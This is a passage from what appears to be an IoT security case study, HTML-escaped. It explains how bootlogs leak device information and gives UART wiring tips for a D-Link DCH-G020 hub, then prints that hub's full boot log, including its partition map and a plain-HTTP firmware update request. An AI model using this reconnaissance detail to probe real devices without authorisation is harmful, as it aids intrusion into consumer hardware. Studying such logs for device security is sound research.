&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Bootlog&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The Bootlog contains messages which are issued by the bootloader, kernel, OS, or applications via standard output (stdout) or standard error (stderr) streams during the booting phase of the device, which presents the first wave of information to be processed as it already defines entry points and influences subsequent analysis steps. The information contained in the bootlog can be system status; available firmware images; kernel version and command-line; busybox version; processor and board information; memory and storage types used; network interfaces and configuration; protocols or applications running; firmware and hardware version; MTD device partitions and file systems. These are just a few examples, but the developers can implement ridiculous things. From printing configurations and custom developer messages to clear-text credentials, much information can be leaked this way, which makes up a large part of the results of this case study.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-G020: Gateway Connected Home Hub&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: First start the device, then connect GND! RX and TX can be connected before. You may need to remove the battery. You may need to set the baudrate to 118000 (8N1)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 1.1.4--LSDK-10.1.432 (Mar 17 2015 - 19:24:10)&lt;br /&gt;
&lt;br /&gt;
ap143 - Honey Bee 1.0&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MB&lt;br /&gt;
Top of RAM usable for U-Boot at: 84000000&lt;br /&gt;
Reserving 157k for U-Boot at: 83fd8000&lt;br /&gt;
Reserving 192k for malloc() at: 83fa8000&lt;br /&gt;
Reserving 44 Bytes for Board Info at: 83fa7fd4&lt;br /&gt;
Reserving 36 Bytes for Global Data at: 83fa7fb0&lt;br /&gt;
Reserving 128k for boot params() at: 83f87fb0&lt;br /&gt;
Stack Pointer at: 83f87f98&lt;br /&gt;
Now running in RAM - U-Boot at: 83fd8000&lt;br /&gt;
============================================ &lt;br /&gt;
Date:Mar 17 2015  Time:19:24:10&lt;br /&gt;
Loader Version: v1.01 Build:01&lt;br /&gt;
Module Name: DCH-G020X&lt;br /&gt;
============================================ &lt;br /&gt;
Flash Manuf Id 0xc2, DeviceId0 0x20, DeviceId1 0x18&lt;br /&gt;
flash size 16MB, sector count = 256&lt;br /&gt;
Flash: 16 MB&lt;br /&gt;
* Scan for Linux kernel images ...&lt;br /&gt;
* Linux kernel found at 9F050000&lt;br /&gt;
* Scan completed.&lt;br /&gt;
Only one Linux kernel image found.&lt;br /&gt;
&lt;br /&gt;
Using default environment&lt;br /&gt;
&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
Net:   ath_gmac_enet_initialize...&lt;br /&gt;
ath_gmac_enet_initialize: reset mask:c02200 &lt;br /&gt;
Scorpion ----&amp;gt;S27 PHY*&lt;br /&gt;
S27 reg init&lt;br /&gt;
: cfg1 0x800c0000 cfg2 0x7114&lt;br /&gt;
eth0: c4:12:f5:1a:58:f4&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTROL 4 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10&lt;br /&gt;
eth0 up&lt;br /&gt;
Honey Bee ----&amp;gt;  MAC 1 S27 PHY *&lt;br /&gt;
S27 reg init&lt;br /&gt;
ATHRS27: resetting s27&lt;br /&gt;
ATHRS27: s27 reset done&lt;br /&gt;
: cfg1 0x800c0000 cfg2 0x7214&lt;br /&gt;
eth1: c4:12:f5:1a:58:f4&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTROL 0 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 0 :10&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTROL 1 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 1 :10&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTROL 2 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 2 :10&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTROL 3 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 3 :10&lt;br /&gt;
eth1 up&lt;br /&gt;
eth0, eth1&lt;br /&gt;
Setting 0x181162c0 to 0x1831a100&lt;br /&gt;
Hit any key to stop autoboot:  2 ��� 1 ��� 0 &lt;br /&gt;
## Booting image at 9æ050000 ...&lt;br /&gt;
   Image Name:   Linux Kernel Image&lt;br /&gt;
   Created:      2016­06-29   9:47:18 UTC&lt;br /&gt;
   Image Type:   MIPS Linux Kernel Image (lzma compressed)&lt;br /&gt;
   Data Size:    989864 Bytes = 966.7 kB&lt;br /&gt;
   Load Addressº 80002000&lt;br /&gt;
   Entry Point:  8023dd00&lt;br /&gt;
   Verifying Checksum at 0x9f°50040 ...OK&lt;br /&gt;
   Uncompressing Kernel Image ... OK&lt;br /&gt;
No initrd&lt;br /&gt;
## Transferring control to Linux (at address 8023dd00) ...&lt;br /&gt;
## Géving linux memsize in bytes, 67108864&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
Booting QCA953x&lt;br /&gt;
Linux version 2.6.31 (adminuser@adminuser-VirtualBox) (gcc version 4.3.3 (GCC) ) #1 Wed Jun 29 05:43:21 EDT 2016&lt;br /&gt;
flash_size passed from bootloader = 16&lt;br /&gt;
arg 1: console=ttyS0,115200&lt;br /&gt;
arg 2: root=31:6&lt;br /&gt;
arg 3: rootfstype=squashfs&lt;br /&gt;
arg 4: init=/sbin/init&lt;br /&gt;
arg 5: mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3)&lt;br /&gt;
arg 6: mem=64M&lt;br /&gt;
CPU revision is: 00019374 (MIPS 24Kc)&lt;br /&gt;
ath_sys_frequency: cpu apb ddr apb cpu 550 ddr 400 ahb 200&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 02000000 @ 00000000 (usable)&lt;br /&gt;
User-defined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS0,115200 root=31:6 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(bootarg),2048k(uImage),12736k(rootfs1),64k(log),512k(mydlink),512k(data1),128k(data2),64k(data3) mem=64M &lt;br /&gt;
PID hash table entries: 256 (order: 8, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=00000000&lt;br /&gt;
Readback ErrCtl register=00000000&lt;br /&gt;
Memory: 55732k/65536k available (2303k kernel code, 9728k reserved, 478k data, 120k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
plat_time_init: plat time init done&lt;br /&gt;
Calibrating delay loop... 365.56 BogoMIPS (lpj=731136)&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
&lt;br /&gt;
****************ALLOC***********************&lt;br /&gt;
 Packet mem: 802e84a0 (0x600000 bytes)&lt;br /&gt;
********************************************&lt;br /&gt;
&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
ATH GPIOC major 0&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
JFFS2 version 2.2 (NAND) (ZLIB) (RTIME) (c) 2001-2006 Red Hat, Inc.&lt;br /&gt;
msgmni has been set to 109&lt;br /&gt;
alg: No test for stdrng (krng)&lt;br /&gt;
io scheduler noop registered (default)&lt;br /&gt;
Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled&lt;br /&gt;
serial8250.0: ttyS0 at MMIO 0xb8020000 (irq = 19) is a 16550A&lt;br /&gt;
console [ttyS0] enabled&lt;br /&gt;
loop: module loaded&lt;br /&gt;
12 cmdlinepart partitions found on MTD device ath-nor0&lt;br /&gt;
Creating 12 MTD partitions on &amp;quot;ath-nor0&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000010000 : &amp;quot;u-boot&amp;quot;&lt;br /&gt;
0x000000010000-0x000000020000 : &amp;quot;ART&amp;quot;&lt;br /&gt;
0x000000020000-0x000000030000 : &amp;quot;MP&amp;quot;&lt;br /&gt;
0x000000030000-0x000000040000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x000000040000-0x000000050000 : &amp;quot;bootarg&amp;quot;&lt;br /&gt;
0x000000050000-0x000000250000 : &amp;quot;uImage&amp;quot;&lt;br /&gt;
0x000000250000-0x000000ec0000 : &amp;quot;rootfs1&amp;quot;&lt;br /&gt;
0x000000ec0000-0x000000ed0000 : &amp;quot;log&amp;quot;&lt;br /&gt;
0x000000ed0000-0x000000f50000 : &amp;quot;mydlink&amp;quot;&lt;br /&gt;
0x000000f50000-0x000000fd0000 : &amp;quot;data1&amp;quot;&lt;br /&gt;
0x000000fd0000-0x000000ff0000 : &amp;quot;data2&amp;quot;&lt;br /&gt;
0x000000ff0000-0x000001000000 : &amp;quot;data3&amp;quot;&lt;br /&gt;
usbmon: debugfs is not available&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
Port Status 1c000004 &lt;br /&gt;
ath-ehci ath-ehci.0: ATH EHCI&lt;br /&gt;
ath-ehci ath-ehci.0: new USB bus registered, assigned bus number 1&lt;br /&gt;
ehci_reset Intialize USB CONTROLLER in host mode: 13&lt;br /&gt;
ehci_reset Port Status 1c000000 &lt;br /&gt;
ath-ehci ath-ehci.0: irq 3, io mem 0x1b000000&lt;br /&gt;
ehci_reset Intialize USB CONTROLLER in host mode: 13&lt;br /&gt;
ehci_reset Port Status 1c000000 &lt;br /&gt;
ath-ehci ath-ehci.0: USB 2.0 started, EHCI 1.00&lt;br /&gt;
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002&lt;br /&gt;
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1&lt;br /&gt;
usb usb1: Product: ATH EHCI&lt;br /&gt;
usb usb1: Manufacturer: Linux 2.6.31 ehci_hcd&lt;br /&gt;
usb usb1: SerialNumber: platform&lt;br /&gt;
usb usb1: configuration #1 chosen from 1 choice&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
usbcore: registered new interface driver cdc_acm&lt;br /&gt;
cdc_acm: v0.26:USB Abstract Control Model driver for USB modems and ISDN adapters&lt;br /&gt;
usbcore: registered new interface driver usbserial&lt;br /&gt;
USB Serial support registered for generic&lt;br /&gt;
usbcore: registered new interface driver usbserial_generic&lt;br /&gt;
usbserial: USB Serial Driver core&lt;br /&gt;
USB Serial support registered for cp210x&lt;br /&gt;
usbcore: registered new interface driver cp210x&lt;br /&gt;
cp210x: v0.09:Silicon Labs CP210x RS232 serial adaptor driver&lt;br /&gt;
USB Serial support registered for pl2303&lt;br /&gt;
usbcore: registered new interface driver pl2303&lt;br /&gt;
pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
nf_conntrack version 0.5.0 (1024 buckets, 4096 max)&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Bridge firewalling registered&lt;br /&gt;
RPC: Registered udp transport module.&lt;br /&gt;
RPC: Registered tcp transport module.&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) MP_GPIO: 15&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) RESET_BTN_GPIO: 17, RESET_BTN_TRIGGER_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_BTN_GPIO: 3, WPS_BTN_TRIGGER_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_LED_GPIO: 11, LED_ACTIVE_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) I2C_SDA_GPIO: 0, INT_I2C_LOW: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) I2C_SCL_GPIO: 1, INT_I2C_LOW: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO1: 13, LED_ACTIVE_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO2: 14&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:6.&lt;br /&gt;
Freeing unused kernel memory: 120k freed&lt;br /&gt;
init started: BusyBox v1.21.1--LSDK-10.2-00082-4 (2016-06-29 05:45:06 EDT)&lt;br /&gt;
starting pid 177, tty &#039;&#039;: &#039;/etc/rc.d/rcS&#039;&lt;br /&gt;
QCA953x Watchdog Timer enabled (30 seconds, nowayout)&lt;br /&gt;
&amp;lt;pca9554_config_set|42&amp;gt; i2c_value = 70&lt;br /&gt;
&amp;lt;pca9554_config_set|47&amp;gt; i2c_value = 03&lt;br /&gt;
&amp;lt;pca9554_config_set|52&amp;gt; i2c_value = 00&lt;br /&gt;
&amp;lt;pca9554_output_set|100&amp;gt; i2c_value = 70&lt;br /&gt;
&amp;lt;pca9554_output_set|105&amp;gt; i2c_value = 01&lt;br /&gt;
&amp;lt;pca9554_output_set|110&amp;gt; i2c_value = ff&lt;br /&gt;
&lt;br /&gt;
vm.panic_on_oom = 1&lt;br /&gt;
kernel.panic = 2&lt;br /&gt;
&lt;br /&gt;
Please press Enter to activate this console. Wed Jun 29 00:00:00 UTC 2016&lt;br /&gt;
128+0 records in&lt;br /&gt;
128+0 records out&lt;br /&gt;
[control_center.c] dch mtd found: mtd8&lt;br /&gt;
[control_center.c] kernel jffs2 support detected.&lt;br /&gt;
[control_center.c] mount /dev/mtdblock8 to /dch.&lt;br /&gt;
killall: zw_meter_check: no process killed&lt;br /&gt;
killall: zw_center: no process killed&lt;br /&gt;
&amp;lt;pca9554_output_set|100&amp;gt; i2c_value = 70&lt;br /&gt;
&amp;lt;pca9554_output_set|105&amp;gt; i2c_value = 01&lt;br /&gt;
&amp;lt;pca9554_output_set|110&amp;gt; i2c_value = 02&lt;br /&gt;
&amp;lt;pca9554_output_set|100&amp;gt; i2c_value = 70&lt;br /&gt;
&lt;br /&gt;
128+0 records in&lt;br /&gt;
128+0 records out&lt;br /&gt;
&amp;lt;pca9554_output_set|105&amp;gt; i2c_val/dev/watchdog device found. Try to launch watchdog daemon.&lt;br /&gt;
ue = 01&lt;br /&gt;
&lt;br /&gt;
usb 1-1: new high speed USB device using ath-ehci and address 2&lt;br /&gt;
qca955x_GMAC: Length per segment 1536&lt;br /&gt;
953x_GMAC: qca953x_gmac_attach&lt;br /&gt;
Link Int Enabled &lt;br /&gt;
qca953x_set_gmac_caps  CHECK DMA STATUS &lt;br /&gt;
mac:0 Registering S27....&lt;br /&gt;
qca955x_GMAC: RX TASKLET - Pkts per Intr:18&lt;br /&gt;
qca955x_GMAC: unit 0 --&amp;gt; c4:12:f5:1a:58:f4 &lt;br /&gt;
&amp;lt;pca9554_output_set|110&amp;gt; i2c_value = 00&lt;br /&gt;
&lt;br /&gt;
qca955x_GMAC: Max segments per packet :   1&lt;br /&gt;
qca955x_GMAC: Max tx descriptor count :   512&lt;br /&gt;
qca955x_GMAC: Max rx descriptor count :   128&lt;br /&gt;
qca955x_GMAC: Mac capability flags    :   2581&lt;br /&gt;
953x_GMAC: qca953x_gmac_attach&lt;br /&gt;
Link Int Enabled &lt;br /&gt;
qca953x_set_gmac_caps  CHECK DMA STATUS &lt;br /&gt;
mac:1 Registering S27....&lt;br /&gt;
qca955x_GMAC: RX TASKLET - Pkts per Intr:18&lt;br /&gt;
qca955x_GMAC: unit 1 --&amp;gt; c4:12:f5:1a:58:f4 &lt;br /&gt;
qca955x_GMAC: Max segments per packet :   1&lt;br /&gt;
qca955x_GMAC: Max tx descriptor count :   512&lt;br /&gt;
qca955x_GMAC: Max rx descriptor count :   128&lt;br /&gt;
qca955x_GMAC: Mac capability flags    :   2D81&lt;br /&gt;
usb 1-1: New USB device found, idVendor=05e3, idProduct=0608&lt;br /&gt;
usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0&lt;br /&gt;
usb 1-1: Product: USB2.0 Hub&lt;br /&gt;
usb 1-1: configuration #1 chosen from 1 choice&lt;br /&gt;
hub 1-1:1.0: USB hub found&lt;br /&gt;
hub 1-1:1.0: 4 ports detected&lt;br /&gt;
usb 1-1.1: new full speed USB device using ath-ehci and address 3&lt;br /&gt;
usb 1-1.1: New USB device found, idVendor=0658, idProduct=0200&lt;br /&gt;
usb 1-1.1: New USB device strings: Mfr=0, Product=0, SerialNumber=0&lt;br /&gt;
usb 1-1.1: configuration #1 chosen from 1 choice&lt;br /&gt;
cdc_acm 1-1.1:1.0: This device cannot do calls on its own. It is not a modem.&lt;br /&gt;
cdc_acm 1-1.1:1.0: ttyACM0: USB ACM device&lt;br /&gt;
asf: module license &#039;Proprietary&#039; taints kernel.&lt;br /&gt;
Disabling lock debugging due to kernel taint&lt;br /&gt;
ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, TX_DATA_SWAP, RX_DATA_SWAP, 11D)&lt;br /&gt;
athr_gmac_ring_alloc Allocated 8192 at 0x82c94000&lt;br /&gt;
athr_gmac_ring_alloc Allocated 2048 at 0x82c96800&lt;br /&gt;
HONEYBEE ----&amp;gt; S27 PHY MDIO&lt;br /&gt;
ATHRS27: resetting s27&lt;br /&gt;
ATHRS27: s27 reset done&lt;br /&gt;
Setting Drop CRC Errors, Pause Frames and Length Error frames &lt;br /&gt;
Setting PHY...&lt;br /&gt;
ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved&lt;br /&gt;
ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved&lt;br /&gt;
enet1 port0 up 100Mbps Full duplex&lt;br /&gt;
953x_GMAC: Enet Unit:1 PHY:0 is UP eth1  RGMII  1000Mbps  full duplex&lt;br /&gt;
953x_GMAC: done cfg2 0x7215 ifctl 0x0 miictrl  &lt;br /&gt;
Setting Drop CRC Errors, Pause Frames and Length Error frames &lt;br /&gt;
Control Center(219) : Recive a request(6) from 0&lt;br /&gt;
receive LAN_CABLE_UP_EVENT&lt;br /&gt;
ath_ahb: 10.2-00082-4 (Atheros/multi-bss)&lt;br /&gt;
__ath_attach: Set global_scn[0]&lt;br /&gt;
Enterprise mode: 0x03fc0000&lt;br /&gt;
Restoring Cal data from Flash&lt;br /&gt;
Green-AP : Green-AP : Attached&lt;br /&gt;
&lt;br /&gt;
ath_get_caps[6148] rx chainmask mismatch actual 3 sc_chainmak 0&lt;br /&gt;
ath_get_caps[6123] tx chainmask mismatch actual 3 sc_chainmak 0&lt;br /&gt;
ADDRCONF(NETDEV_UP): eth1: link is not ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready&lt;br /&gt;
SC Callback Registration for wifi0&lt;br /&gt;
wifi0: Atheros ???: mem=0xb8100000, irq=2&lt;br /&gt;
ath_pci: 10.2-00082-4 (Atheros/multi-bss)&lt;br /&gt;
device eth1 entered promiscuous mode&lt;br /&gt;
br0: port 1(eth1) entering learning state&lt;br /&gt;
route: resolving dev&lt;br /&gt;
Control Center(219) : Recive a request(408) from 287&lt;br /&gt;
Application Center(247) : Recive a request(408) from 219&lt;br /&gt;
Control Center(219) : Recive a request(414) from 287&lt;br /&gt;
br0: port 1(eth1) entering forwarding state&lt;br /&gt;
Control Center(219) : Recive a response(408) from 247&lt;br /&gt;
Application Center(247) : Recive a request(414) from 219&lt;br /&gt;
udhcpc (v1.21.1--LSDK-10.2-00082-4) started&lt;br /&gt;
br0       Link encap:Ethernet  HWaddr C4:12:F5:1A:58:F4  &lt;br /&gt;
          inet addr:192.168.0.60  Bcast:192.168.0.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::fc31:aaff:fe11:a844/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0 &lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:398 (398.0 B)&lt;br /&gt;
&lt;br /&gt;
Sending discover...&lt;br /&gt;
Failed to kill daemon: No such file or directory&lt;br /&gt;
VAP device ath0 created &lt;br /&gt;
ath0&lt;br /&gt;
Control Center(219) : Recive a response(414) from 247&lt;br /&gt;
Sending select for 192.168.0.251...&lt;br /&gt;
Lease of 192.168.0.251 obtained, lease time 3600&lt;br /&gt;
deleting routers&lt;br /&gt;
route: ioctl 0x890c failed: No such process&lt;br /&gt;
adding dns 192.168.0.1&lt;br /&gt;
Control Center(219) : Recive a request(9) from 383&lt;br /&gt;
&amp;lt;led_center:977&amp;gt;: CMD MATCHED cmd = 9&lt;br /&gt;
Application Center(247) : Recive a request(418) from 219&lt;br /&gt;
killall: llmnr: no process killed&lt;br /&gt;
killall: dlink_time_sync: no process killed&lt;br /&gt;
42548 00011.587  194675.0    130.9  88128473355622.3  55343.6         0&lt;br /&gt;
killall: send_device_info: no process killed&lt;br /&gt;
Control Center(219) : Recive a request(427) from 450&lt;br /&gt;
killall: crond: no process killed&lt;br /&gt;
Control Center(219) : Recive a request(8) from 383&lt;br /&gt;
&amp;lt;led_center:977&amp;gt;: CMD MATCHED cmd = 8&lt;br /&gt;
DCHC Center(291) : Recive a request(3021) from 219&lt;br /&gt;
Control Center(219) : Recive a response(3021) from 291&lt;br /&gt;
Control Center(219) : Recive a response(418) from 247&lt;br /&gt;
Application Center(247) : Recive a request(416) from 219&lt;br /&gt;
killall: mdns-scan: no process killed&lt;br /&gt;
Control Center(219) : Recive a response(416) from 247&lt;br /&gt;
Application Center(247) : Recive a request(422) from 219&lt;br /&gt;
killall: chkfwd: no process killed&lt;br /&gt;
Control Center(219) : Recive a response(422) from 247&lt;br /&gt;
Application Center(247) : Recive a request(427) from 219&lt;br /&gt;
Control Center(219) : Recive a response(427) from 247&lt;br /&gt;
Application Center(247) : Recive a request(426) from 219&lt;br /&gt;
[  System Message  ]:Load AesEncrypt By Payload &lt;br /&gt;
killall: dch_scheduler: no process killed&lt;br /&gt;
Control Center(219) : Recive a response(426) from 247&lt;br /&gt;
Control Center(219) : Recive a request(426) from 450&lt;br /&gt;
Application Center(247) : Recive a request(426) from 219&lt;br /&gt;
Control Center(219) : Recive a response(426) from 247&lt;br /&gt;
[  System Message  ]:Check duplicate launcher = [  ]&lt;br /&gt;
[  System Message  ]:Retry to Get Miiicasa Version...&lt;br /&gt;
 &lt;br /&gt;
 DES SSID SET=DCH-G020-58F4 &lt;br /&gt;
 ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1 &lt;br /&gt;
Interface doesn&#039;t accept private ioctl...&lt;br /&gt;
ForBiasAuto (8BE0): Operation not permitted&lt;br /&gt;
Set freq vap stop send + 83944000&lt;br /&gt;
Set freq vap stop send -83944000&lt;br /&gt;
rm: can&#039;t remove &#039;/tmp/catver&#039;: No such file or directory&lt;br /&gt;
EXECUTE: wget -O /tmp/catver http://api.dch.dlink.com/agent/upgrade?p=ZgSet wait done --83944000&lt;br /&gt;
iDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&amp;amp;iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D in 300 seconds.&lt;br /&gt;
--2019-04-15 02:08:06--  http://api.dch.dlink.com/agent/upgrade?p=ZgiDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&amp;amp;iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D&lt;br /&gt;
Resolving api.dch.dlink.com... 18.196.6.196, 52.29.105.102&lt;br /&gt;
Connecting to api.dch.dlink.com|18.196.6.196|:80... connected.&lt;br /&gt;
HTTP request sent, awaiting response... --2019-04-15 02:08:07--  http://127.0.0.1:5459/ws/api/getVersion&lt;br /&gt;
Connecting to 127.0.0.1:5459... failed: Connection refused.&lt;br /&gt;
200 OK&lt;br /&gt;
Length: 310 [text/html]&lt;br /&gt;
Saving to: `/tmp/catver&#039;&lt;br /&gt;
&lt;br /&gt;
 0% [                                       ] 0           --.-K/s              100%[======================================&amp;gt;] 310         --.-K/s   in 0s      &lt;br /&gt;
&lt;br /&gt;
2019-04-15 02:08:07 (2.81 MB/s) - `/tmp/catver&#039; saved [310/310]&lt;br /&gt;
&lt;br /&gt;
device ath0 entered promiscuous mode&lt;br /&gt;
br0: port 2(ath0) entering learning state&lt;br /&gt;
Configuration fi ieee80211_ioctl_siwmode: imr.ifm_active=393856, new mode=3, valid=1 &lt;br /&gt;
le: /var/etc/oob_ieee80211_scan_unregister_event_handler: Failed to unregister evhandler=82e4bfc4 arg=83ff0000&lt;br /&gt;
.ap_bss&lt;br /&gt;
 Scan in progress.. Cancelling it &lt;br /&gt;
br0: port 2(ath0) entering disabled state&lt;br /&gt;
 DEVICE IS DOWN ifname=ath0&lt;br /&gt;
ath0: Could not  DEVICE IS DOWN ifname=ath0&lt;br /&gt;
connect to kernel driver&lt;br /&gt;
Using interface ath0 with hwaddr c4:12:f5:1a:58:f4 and ssid &#039;DCH-G020-58F4&#039;&lt;br /&gt;
[zw_center]:ZWave inital success!&lt;br /&gt;
Control Center(219) : Recive a request(513) from 344&lt;br /&gt;
&amp;lt;led_center:977&amp;gt;: CMD MATCHED cmd = 513&lt;br /&gt;
service_event : forward a zwave event to the zwave center(344)!&lt;br /&gt;
Remain 299 to kill 565 and restart&lt;br /&gt;
{&amp;quot;status&amp;quot;:&amp;quot;ok&amp;quot;,&amp;quot;ver&amp;quot;:&amp;quot;1.7.5&amp;quot;,&amp;quot;url&amp;quot;:&amp;quot;http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX&amp;quot;,&amp;quot;md5&amp;quot;:&amp;quot;5e0ba8747132524622864a5262a1d50e&amp;quot;} -n&lt;br /&gt;
br0: port 2(ath0) entering learning state&lt;br /&gt;
V_SerVerStr:1.7.5 V_OriginVer:&lt;br /&gt;
[  System Message  ]:Current Miiicasa Version: 1.7.5&lt;br /&gt;
[  System Message  ]:Current Miiicasa Frimware Addr: http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX&lt;br /&gt;
[  System Message  ]:Default Linkd.out Path: /dch/linkd&lt;br /&gt;
	grep &amp;quot;version_in_text=$V_OriginVer&amp;quot; $V_LauncherPath&lt;br /&gt;
V_LinkdPermanentPath is /dch/linkd.out&lt;br /&gt;
md5 check:/dch/linkd.out&lt;br /&gt;
V_MD5Miii:        5e0ba8747132524622864a5262a1d50e&lt;br /&gt;
